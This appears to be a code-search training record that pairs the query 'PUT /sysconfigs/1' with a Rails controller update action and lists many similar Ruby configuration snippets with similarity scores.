"def addhost(config)\n\n uri = URI.parse(\"#{config[\"addurl\"]}\")\n node = { \"EntityType\" => \"Orion.Nodes\", \"IPAddress\" => \"#{config[\"ipaddr\"]}\",\n \"Caption\"=> \"#{config[\"nodename\"]}\", \"DynamicIP\" => \"False\", \"EngineID\" => \"#{config[\"engineid\"]}\", \n \"Status\" => 1, \"UnManaged\" => \"False\", \"Allow64BitCounters\" => \"True\", \n \"SysObjectID\" => \"\", \"MachineType\" => \"\", \"VendorIcon\" => \"\", \n \"ObjectSubType\" => \"SNMP\", \"SNMPVersion\" => 2, \"Community\" => \"#{config[\"community\"]}\",\n }\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' =>'application/json'})\n request.body = node.to_json\n request.basic_auth(\"#{config[\"username\"]}\", \"#{config[\"password\"]}\")\n\n response = http.request(request)\nend",
"def update\n @system_config = SystemConfig.find(params[:id])\n\n respond_to do |format|\n if @system_config.update_attributes(params[:system_config])\n format.html { redirect_to system_configs_url, :notice => 'System config was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sys_config.update(sys_config_params)\n format.html { redirect_to root_path, notice: 'Configuration was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def config_params\n params.require(:app_config).permit(:name, :value)\n end",
"def machine_config_params\n params.require(:machine_config).permit(:name, :template)\n end",
"def new\n @system_configuration = SystemConfiguration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @system_configuration }\n end\n end",
"def create\n @machine_config = MachineConfig.new(machine_config_params)\n\n respond_to do |format|\n if @machine_config.save\n format.html { redirect_to @machine_config, notice: 'Machine config was successfully created.' }\n format.json { render action: 'show', status: :created, location: @machine_config }\n else\n format.html { render action: 'new' }\n format.json { render json: @machine_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @system_configurations = SystemConfiguration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @system_configurations }\n end\n end",
"def sys_property_params\n params.require(:sys_property).permit(:name, :status, :values_name).merge({account_id: current_account.id, updater_id: current_user.id})\n end",
"def get_serv_config\n\t\taction = \"configuration\"\n\t\tresponse = call_api(action)\n\tend",
"def config\n system_config.send(service_name.to_sym) || []\n end",
"def system_setting_params\n params.require(:system_setting).permit(:site_name, :uuid, :administrator)\n end",
"def create\n cfg_params= dict_config_params\n cfg_params[:dict_sys_name]=cfg_params[:dict_sys_name].strip()\n @dict_config = DictConfig.new(cfg_params)\n\n respond_to do |format|\n ok = 1\n if @dict_config.find_by_sys_name() != nil\n @dict_config.errors.add(:dict_sys_name, :invalid, message: \"dict_sys_name already used!\")\n ok = 0\n end\n if ok == 1 and @dict_config.save\n format.html { redirect_to @dict_config, notice: 'Dict config was successfully created.' }\n format.json { render :show, status: :created, location: @dict_config }\n else\n format.html { render :new }\n format.json { render json: @dict_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @sys_config = SysConfig.find(params[:id])\n @sys_config.destroy\n\n respond_to do |format|\n format.html { redirect_to user_system_sys_configs_url }\n format.xml { head :ok }\n end\n end",
"def system_settings\n #\"ports\" : \"phttp 80 shttp 8080 phttps 443 shttps 8443 ptelnet 23 stelnet 8023 telnets 992\"\n # Due to a bug in the BHR, we can't change the primary HTTP port for remote administration yet... leaving out.\n tags = %w(-secondary_http -primary_https -secondary_https -telnet -secondary_telnet -secure_telnet)\n values = tags.inject(\"\") { |x, d| x << \"#{d} #{rand(rand(100)+1 > 10 ? 1023 : 65534)+1} \" }.strip\n condition = values.scan(/-.*?\\d{1,5}/).inject(\"\") { |x, d| x << d.delete(\"-\").capitalize.sub('_', ' ').sub('https', 'HTTPS').sub('http', 'HTTP').sub('telnet', 'Telnet').sub('secure', 'Secure').sub(/(\\d{1,5})/, 'on port \\1')+\"\\n\" }.strip\n return { \"system_settings\" => { \"section\" => \"advanced-system settings\", \"ports\" => values }}, condition\nend",
"def app_config_params\n params.require(:app_config).permit(:name, :value, :app_id)\n end",
"def config_options\n {\n 'datacenter' => new_resource.datacenter,\n 'template_path' => new_resource.template_path,\n 'power_on' => true,\n 'datastore' => new_resource.datastore,\n 'wait' => true,\n 'hostname' => new_resource.hostname,\n 'name' => new_resource.name,\n 'customization_spec' => {\n 'domain' => new_resource.domain,\n 'ipsettings' => {\n 'ip' => new_resource.ip || node['vcac_vm']['ip'],\n 'gateway' => new_resource.gateway,\n 'subnetMask' => new_resource.subnet_mask,\n },\n }\n }\nend",
"def configureConsulServiceConfig(vmCfg:, config:)\n json_config = JSON.pretty_generate(config)\n\n yaml_config = {\n \"write_files\" => [\n {\n \"path\" => \"/srv/consul/service-config.json\",\n \"permissions\" => \"0640\",\n \"content\" => json_config\n }\n ]\n }\n vmCfg.vm.cloud_init :user_data, content_type: \"text/cloud-config\",\n inline: CLOUD_CONFIG_MERGE_SNIPPET + yaml_config.to_yaml.sub(\"---\", \"\")\n\n return vmCfg\nend",
"def save\r\n SystemConfig.set name, to_h(false), true\r\n end",
"def site_config_params\r\n params.require(:site_config).permit(:key, :display_name, :value_type, :value_s, :value_b)\r\n end",
"def update\n respond_to do |format|\n if @system_config.update(system_config_params)\n format.html { redirect_to system_configs_path, notice: \"#{@system_config.description} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def configure(params)\n request(Resources::RESOURCE_CONFIGURE, HTTP_METHOD_POST, params)\n end",
"def create \n Configurations.create ( configurations_params)\n end",
"def save_config\n\t\t# Build out the console config group\n\t\tgroup = {}\n\n\t\tif (active_module)\n\t\t\tgroup['ActiveModule'] = active_module.fullname\n\t\tend\n\n\t\t# Save it\n\t\tbegin\n\t\t\tMsf::Config.save(ConfigGroup => group)\n\t\trescue ::Exception\n\t\t\tprint_error(\"Failed to save console config: #{$!}\")\n\t\tend\n\tend",
"def settings\n config = current_user.company.ms_teams_configs.for_entity(params[:entity_id])\n if request.delete?\n config.destroy!\n head :ok\n elsif request.post?\n # this should always save, so hard fail if it doesn't\n config.update!(config_settings)\n head :ok\n else\n render json: config.as_json\n end\n end",
"def create\n @api_config = ApiConfig.new(api_config_params)\n\n respond_to do |format|\n if @api_config.save\n format.html { redirect_to @api_config, notice: 'Api config was successfully created.' }\n format.json { render :show, status: :created, location: @api_config }\n else\n format.html { render :new }\n format.json { render json: @api_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_kubernetes_sys_config_policy_with_http_info(kubernetes_sys_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.create_kubernetes_sys_config_policy ...'\n end\n # verify the required parameter 'kubernetes_sys_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_sys_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_sys_config_policy' when calling KubernetesApi.create_kubernetes_sys_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/SysConfigPolicies'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_sys_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesSysConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.create_kubernetes_sys_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#create_kubernetes_sys_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destroy\n @system_config.destroy\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :no_content }\n end\n end",
"def generate_node_config\n run_list = { run_list: @recipes.map{|name| \"recipe[#{name}]\"} }\n @ssh.write \"/tmp/node.json\", content: JSON.generate(run_list), sudo: true\n end",
"def update_system(outputs)\n Log.info 'Platform stack has created. CloudConductor will register host to zabbix/DNS.'\n @system.ip_address = outputs['FrontendAddress']\n @system.monitoring_host = @system.domain\n @system.template_parameters = outputs.except('FrontendAddress').to_json\n @system.save!\n end",
"def create\n @app_config = AppConfig.new(params[:app_config])\n\n respond_to do |format|\n if @app_config.save\n format.html { redirect_to(@app_config, :notice => 'App config was successfully created.') }\n format.xml { render :xml => @app_config, :status => :created, :location => @app_config }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @app_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def json_config\n config = @node['gitlab']['gitlab_sshd'].dup\n\n find_host_keys!(config)\n find_host_certs!(config)\n\n config['listen'] = config.delete('listen_address')\n config['web_listen'] = config.delete('metrics_address')\n OMNIBUS_KEYS.each { |key| config.delete(key) }\n\n config\n end",
"def create\n @jenkins_app_config = JenkinsAppConfig.new(jenkins_app_config_params)\n\n respond_to do |format|\n if @jenkins_app_config.save\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully created.' }\n format.json { render :show, status: :created, location: @jenkins_app_config }\n else\n format.html { render :new }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def push_config\n command = ['VBoxManage', 'modifyvm', uid]\n command.concat board.to_params\n nics.each_with_index do |nic, index|\n if nic.nil?\n command.push \"--nic#{index + 1}\", 'none'\n else\n command.concat nic.to_params(index + 1)\n end\n end\n VirtualBox.run_command! command\n \n io_buses.each { |bus| bus.add_to self }\n \n self\n end",
"def create\n @wp_dyna_config = WpDynaConfig.new(params[:wp_dyna_config])\n\n respond_to do |format|\n if @wp_dyna_config.save\n format.html { redirect_to @wp_dyna_config, notice: 'Wp dyna config was successfully created.' }\n format.json { render json: @wp_dyna_config, status: :created, location: @wp_dyna_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wp_dyna_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def kernel_config_params\n params.require(:kernel_config).permit(:user_id, :config_url)\n end",
"def system_control\r\n\r\n params.require(:system_control).permit(*system_control_attributes)\r\n\r\n end",
"def save_config\n self.data = JSON.dump(self.config)\n end",
"def save_config\n self.data = JSON.dump(self.config)\n end",
"def sysinfo\n\t\trequest = Packet.create_request('stdapi_sys_config_sysinfo')\n\t\tresponse = client.send_request(request)\n\n\t\t{\n\t\t\t'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME),\n\t\t\t'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),\n\t\t}\n\tend",
"def configuration\n _get(\"/system/configuration\") { |json| json }\n end",
"def generate_config(resource)\n resource = symbolize_hash(convert_to_hash(resource))\n config = []\n config << \"lxc.utsname = #{resource[:utsname]}\"\n if(resource[:aa_profile])\n config << \"lxc.aa_profile = #{resource[:aa_profile]}\"\n end\n [resource[:network]].flatten.each do |net_hash|\n nhsh = Mash.new(net_hash)\n flags = nhsh.delete(:flags)\n %w(type link).each do |k|\n config << \"lxc.network.#{k} = #{nhsh.delete(k)}\" if nhsh[k]\n end\n nhsh.each_pair do |k,v|\n config << \"lxc.network.#{k} = #{v}\"\n end\n if(flags)\n config << \"lxc.network.flags = #{flags}\"\n end\n end\n if(resource[:cap_drop])\n config << \"lxc.cap.drop = #{Array(resource[:cap_drop]).join(' ')}\"\n end\n %w(include pts tty arch devttydir mount mount_entry rootfs rootfs_mount pivotdir).each do |k|\n config << \"lxc.#{k.sub('_', '.')} = #{resource[k.to_sym]}\" if resource[k.to_sym]\n end\n prefix = 'lxc.cgroup'\n resource[:cgroup].each_pair do |key, value|\n if(value.is_a?(Array))\n value.each do |val|\n config << \"#{prefix}.#{key} = #{val}\"\n end\n else\n config << \"#{prefix}.#{key} = #{value}\"\n end\n end\n config.join(\"\\n\") + \"\\n\"\n end",
"def packer_config\n JSON.dump(JSON.parse(super).tap do |config|\n config['builders'] = [\n {\n \"type\" => \"vsphere\",\n \"vcenter_server\" => Stemcell::Builder::validate_env('VCENTER_SERVER'),\n \"username\" => Stemcell::Builder::validate_env('VCENTER_USERNAME'),\n \"password\" => Stemcell::Builder::validate_env('VCENTER_PASSWORD'),\n \"insecure_connection\" => true,\n\n \"template\" => Stemcell::Builder::validate_env('BASE_TEMPLATE'),\n \"folder\" => Stemcell::Builder::validate_env('VCENTER_VM_FOLDER'),\n \"vm_name\" => \"packer-vmx\",\n \"host\" => Stemcell::Builder::validate_env('VCENTER_HOST'),\n \"resource_pool\" => \"\",\n # \"ssh_username\" => 'Administrator',\n # \"ssh_password\" => Stemcell::Builder::validate_env('ADMINISTRATOR_PASSWORD'),\n 'communicator' => 'winrm',\n 'winrm_username' => 'Administrator',\n 'winrm_password' => Stemcell::Builder::validate_env('ADMINISTRATOR_PASSWORD'),\n 'winrm_timeout' => '3h',\n 'winrm_insecure' => true,\n \"CPUs\" => ENV.fetch('NUM_VCPUS', '4'),\n \"RAM\" => ENV.fetch('MEM_SIZE', '4096'),\n }\n ]\n end)\n end",
"def nfi_system_params\n params.require(:nfi_system).permit(:system_name, :sysem_description, :data_source_id, :sub_system_exist, :status)\n end",
"def create\n @config = Config.new(config_params)\n\n respond_to do |format|\n if @config.save\n format.html { redirect_to @config, notice: \"Config was successfully created.\" }\n format.json { render :show, status: :created, location: @config }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_cfg_info(node_ips, o, masters)\n node_os = ENV['CONTIV_NODE_OS'] || CENTOS\n conn = {}\n node_ips.each_with_index do |node_ip, n|\n node = if n < masters\n { 'role' => 'master' }\n else\n {}\n end\n def_ctrl_if = node_os == UBUNTU ? 'enp0s8' : 'eth1'\n def_data_if = node_os == UBUNTU ? 'enp0s9' : 'eth2'\n node['control'] = ENV['CONTIV_CONTROL_IF'] || def_ctrl_if\n node['data'] = ENV['CONTIV_DATA_IF'] || def_data_if\n conn[node_ip] = node\n end\n cfg_data = { 'CONNECTION_INFO' => conn }\n cfg_file = (ENV['VAGRANT_CWD'] || '.') + '/.cfg_' + o + '.yaml'\n File.write(cfg_file, cfg_data.to_yaml)\nend",
"def create\n @sm_backend_config = SmBackendConfig.new(params[:sm_backend_config])\n\n respond_to do |format|\n if @sm_backend_config.save\n format.html { redirect_to @sm_backend_config, notice: 'Sm backend config was successfully created.' }\n format.json { render json: @sm_backend_config, status: :created, location: @sm_backend_config }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sm_backend_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def system_params\n params.require(:system).permit(:name, :urn, :os, :reboot_required, :address, :last_seen, :system_group_id)\n end",
"def destroy\n @system_config = SystemConfig.find(params[:id])\n @system_config.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :ok }\n end\n end",
"def sys_category_params\n params.require(:sys_category).permit(:name, :account_id, :status, :parent_id, :lft, :rgt, :depth, :use_days)\n end",
"def create\n @sys_check = SysCheck.new(params[:sys_check])\n\n respond_to do |format|\n if @sys_check.save\n format.html { redirect_to @sys_check, notice: 'Sys check was successfully created.' }\n format.json { render json: @sys_check, status: :created, location: @sys_check }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sys_check.errors, status: :unprocessable_entity }\n end\n end\n end",
"def write(configs_map)\n display 'Writing configs to conflux.yml...'\n\n File.open(conflux_yml_path, 'w+') do |f|\n f.write(yaml_header)\n\n # configs_map has service names for keys and arrays of config vars for those services (respectively) as its values.\n # This yaml file will therefore group the conflux config vars by service\n configs_map.each { |addon_name, configs|\n f.write(\"\\n\\n# #{addon_name}\") if !configs.empty?\n\n configs.each { |config|\n key = config['name']\n\n if !ENV.key?(key)\n description = config['description'].nil? ? '' : \" # #{config['description']}\"\n f.write(\"\\n#{key}#{description}\")\n end\n }\n }\n end\n end",
"def siteconfig_params\n\t\tparams.require(:siteconfig).permit(:user_id, :topic_id, :siteconfig_name)\n\tend",
"def site_config_params\n params.require(:site_config).permit(:name, :text1, :text2, :text3, :text4, :text5, :text6, :text7, :text8, :text9)\n end",
"def create\n @system_node = SystemNode.find(params[:system_node_id])\n @setting = @system_node.settings.new()\n#binding.pry\n @setting.key = params[:setting][:key]\n @setting.value = params[:setting][:value]\n @setting.location = params[:setting][:location]\n\n\n respond_to do |format|\n if @setting.save\n format.html { redirect_to edit_system_node_path(@system_node), notice: 'Setting was successfully created.' }\n format.json { render :show, status: :created, location: @setting }\n else\n format.html { render :new }\n format.json { render json: @setting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend",
"def push_tileconfig(tile_name, tileconfig_params)\n # Tileconfig URI\n tileconfig_uri = URI.parse(\"#{$tipboard_base_uri}/#{$apikey}/tileconfig/\" + tile_name)\n\n # Post to API to set up tileconfig\n tileconfig_response = Net::HTTP.post_form(tileconfig_uri, tileconfig_params)\nend",
"def create\n @sys_op = SysOp.new(params[:sys_op])\n\n respond_to do |format|\n if @sys_op.save\n format.html { redirect_to @sys_op, notice: 'Sys op was successfully created.' }\n format.json { render json: @sys_op, status: :created, location: @sys_op }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sys_op.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_kubernetes_sys_config_policy_with_http_info(moid, kubernetes_sys_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_sys_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_sys_config_policy\"\n end\n # verify the required parameter 'kubernetes_sys_config_policy' is set\n if @api_client.config.client_side_validation && kubernetes_sys_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_sys_config_policy' when calling KubernetesApi.update_kubernetes_sys_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/SysConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_sys_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesSysConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_sys_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_sys_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end",
"def osq_config\n node = ::Frontend::Node.from_node_key(node_key_params)\n render json: node.config.data.to_json\n end",
"def create\n @portal_config = Portal::Config.new(portal_config_params)\n\n respond_to do |format|\n if @portal_config.save\n format.html { redirect_to @portal_config, notice: 'Config was successfully created.' }\n format.json { render :show, status: :created, location: @portal_config }\n else\n format.html { render :new }\n format.json { render json: @portal_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def config_params\n params.require(:config).permit(:key, :value)\n end",
"def with_system(sys_config)\n @config[AF::SYSTEM] = sys_config\n self\n end",
"def uploadCustomConfig_without_bash_resource(solrversion,zkHost,configname,dirname)\n Chef::Log.info(\"uploadCustomConfig : #{solrversion} : #{zkHost} : #{configname} : #{dirname}\")\n solrmajorversion = \"#{solrversion}\"[0,1]\n begin\n\n command = \"#{node['installation_dir_path']}/solr#{solrmajorversion}/server/scripts/cloud-scripts/zkcli.sh -zkhost #{zkHost} -cmd upconfig -confdir #{dirname} -confname #{configname}\"\n\n Chef::Log.info(\"uploadCustomConfig command : #{command}\")\n\n result = `#{command}`\n if $? != 0\n raise \"uploading custom config failed: #{result}\"\n end\n Chef::Log.info(\"Successfully uploaded custom config '#{configname}'\")\n rescue Exception => msg\n raise \"Error while uploading zookeeper config : #{msg}\"\n end\n end",
"def systemsetting_params\n params.require(:systemsetting).permit(:tipo_de_pago_id, :numero_abandono, :tiempo_abandono)\n end",
"def index\n @kernel_configs = KernelConfig.all\n end",
"def create_config\n FileUtils.touch(config_file)\n \n @settings = {\n 'username' => 'username@loopiaapi',\n 'password' => 'password',\n 'remote' => 'https://api.loopia.se/RPCSERV',\n 'default_domain' => 'example.com',\n 'verbose' => 'true' \n }\n\n File.open(config_file, 'w' ) { |f| YAML.dump(@settings, f) }\n end",
"def sys_admin_params\n params.require(:sys_admin).permit(Admin.column_names)\n end"
] |
[
"0.74242145",
"0.7006661",
"0.6665303",
"0.651607",
"0.6507566",
"0.6473905",
"0.63871545",
"0.63316214",
"0.6199562",
"0.61874706",
"0.59439105",
"0.58492786",
"0.5767599",
"0.57276773",
"0.5714163",
"0.56336147",
"0.56314445",
"0.5597371",
"0.55625254",
"0.55252385",
"0.5522594",
"0.5477088",
"0.54752445",
"0.54588395",
"0.543656",
"0.54229337",
"0.5420665",
"0.53980756",
"0.53933936",
"0.5369034",
"0.5368189",
"0.53656495",
"0.5329287",
"0.5317484",
"0.53163004",
"0.52757555",
"0.5235731",
"0.5230988",
"0.52024657",
"0.5188777",
"0.51783675",
"0.5169688",
"0.5165713",
"0.5155918",
"0.5138293",
"0.5106946",
"0.50934625",
"0.5083931",
"0.507547",
"0.5073684",
"0.5069829",
"0.50660044",
"0.50556016",
"0.5052605",
"0.50347865",
"0.5026525",
"0.50197315",
"0.50093687",
"0.5003039",
"0.49987954",
"0.499796",
"0.4994884",
"0.49884966",
"0.49764812",
"0.49730456",
"0.49560985",
"0.49541798",
"0.4936183",
"0.49349993",
"0.49349993",
"0.49333763",
"0.4928223",
"0.49227735",
"0.49188733",
"0.4913562",
"0.48790938",
"0.48707396",
"0.4858106",
"0.48568782",
"0.48428857",
"0.4833194",
"0.48233482",
"0.48229367",
"0.48137757",
"0.48112172",
"0.48080996",
"0.48076314",
"0.4798009",
"0.47943008",
"0.47919604",
"0.47894058",
"0.478584",
"0.47817674",
"0.47736555",
"0.47720754",
"0.47656736",
"0.4763871",
"0.4751044",
"0.4741867",
"0.4736238"
] |
0.74121094
|
1
|
PUT /sysconfigs/1 PUT /sysconfigs/1.json
|
def update
@sysconfig = Sysconfig.find(params[:id])
respond_to do |format|
if @sysconfig.update_attributes(params[:sysconfig])
format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @sysconfig.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @sysconfig.update(sysconfig_params)\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { render :show, status: :ok, location: @sysconfig }\n else\n format.html { render :edit }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_sysconfig\n @sysconfig = Sysconfig.find(params[:id])\n end",
"def update\n\n respond_to do |format|\n if @sys_config.update_attributes(params[:sys_config])\n flash[:notice] = 'SysConfig was successfully updated.'\n format.html { redirect_to user_system_sys_configs_path(@user, @system) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def update\n @system_config = SystemConfig.find(params[:id])\n\n respond_to do |format|\n if @system_config.update_attributes(params[:system_config])\n format.html { redirect_to system_configs_url, :notice => 'System config was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sys_config.update(sys_config_params)\n format.html { redirect_to root_path, notice: 'Configuration was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def create\n @sysconfig = Sysconfig.new(params[:sysconfig])\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render json: @sysconfig, status: :created, location: @sysconfig }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sysconfig = Sysconfig.new(sysconfig_params)\n\n respond_to do |format|\n if @sysconfig.save\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully created.' }\n format.json { render :show, status: :created, location: @sysconfig }\n else\n format.html { render :new }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @system_config.update(system_config_params)\n format.html { redirect_to system_configs_path, notice: \"#{@system_config.description} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sys_config = @system.sys_configs.build(params[:sys_config])\n respond_to do |format|\n if @sys_config.save\n flash[:notice] = 'SysConfig was successfully created.'\n format.html { redirect_to user_system_sys_config_url(@user, @system, @sys_config) }\n format.xml { head :created, :location => user_system_sys_config_url(@user, @system, @sys_config) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end",
"def set_system_config\n @system_config = SystemConfig.find(params[:id])\n end",
"def update\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n if @system_configuration.update_attributes(params[:system_configuration])\n format.html { redirect_to @system_configuration, notice: 'System configuration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sysconfig_params\n params.require(:sysconfig).permit(:cfgname, :cfginteger, :cfgdate, :cfgtime, :cfgstring, :cfgtext, :lock_version, :txtfile, :imgfile)\n end",
"def destroy\n @sysconfig = Sysconfig.find(params[:id])\n @sysconfig.destroy\n\n respond_to do |format|\n format.html { redirect_to sysconfigs_url }\n format.json { head :no_content }\n end\n end",
"def new\n @sysconfig = Sysconfig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sysconfig }\n end\n end",
"def update\n respond_to do |format|\n if @systemsetting.update(systemsetting_params)\n format.html { redirect_to root_path, notice: 'Se Actualizo la Configuracion Correctamente.' }\n else\n format.html { render :edit }\n format.json { render json: @systemsetting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flag_xms_system_to_be_normal \n put(\"/globalsettings.json/xms/normal\")\nend",
"def destroy\n @sysconfig.destroy\n respond_to do |format|\n format.html { redirect_to sysconfigs_url, notice: 'Sysconfig was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def set_sys_config\n @sys_config = SysConfig.config\n end",
"def show\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sysconfig }\n end\n end",
"def create\n @system_config = SystemConfig.new(params[:system_config])\n\n respond_to do |format|\n if @system_config.save\n format.html { redirect_to @system_config, :notice => 'System config was successfully created.' }\n format.json { render :json => @system_config, :status => :created, :location => @system_config }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sys_op = SysOp.find(params[:id])\n\n respond_to do |format|\n if @sys_op.update_attributes(params[:sys_op])\n format.html { redirect_to @sys_op, notice: 'Sys op was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sys_op.errors, status: :unprocessable_entity }\n end\n end\n end",
"def system_config_params\n params.require(:system_config).permit(:name, :value, :description)\n end",
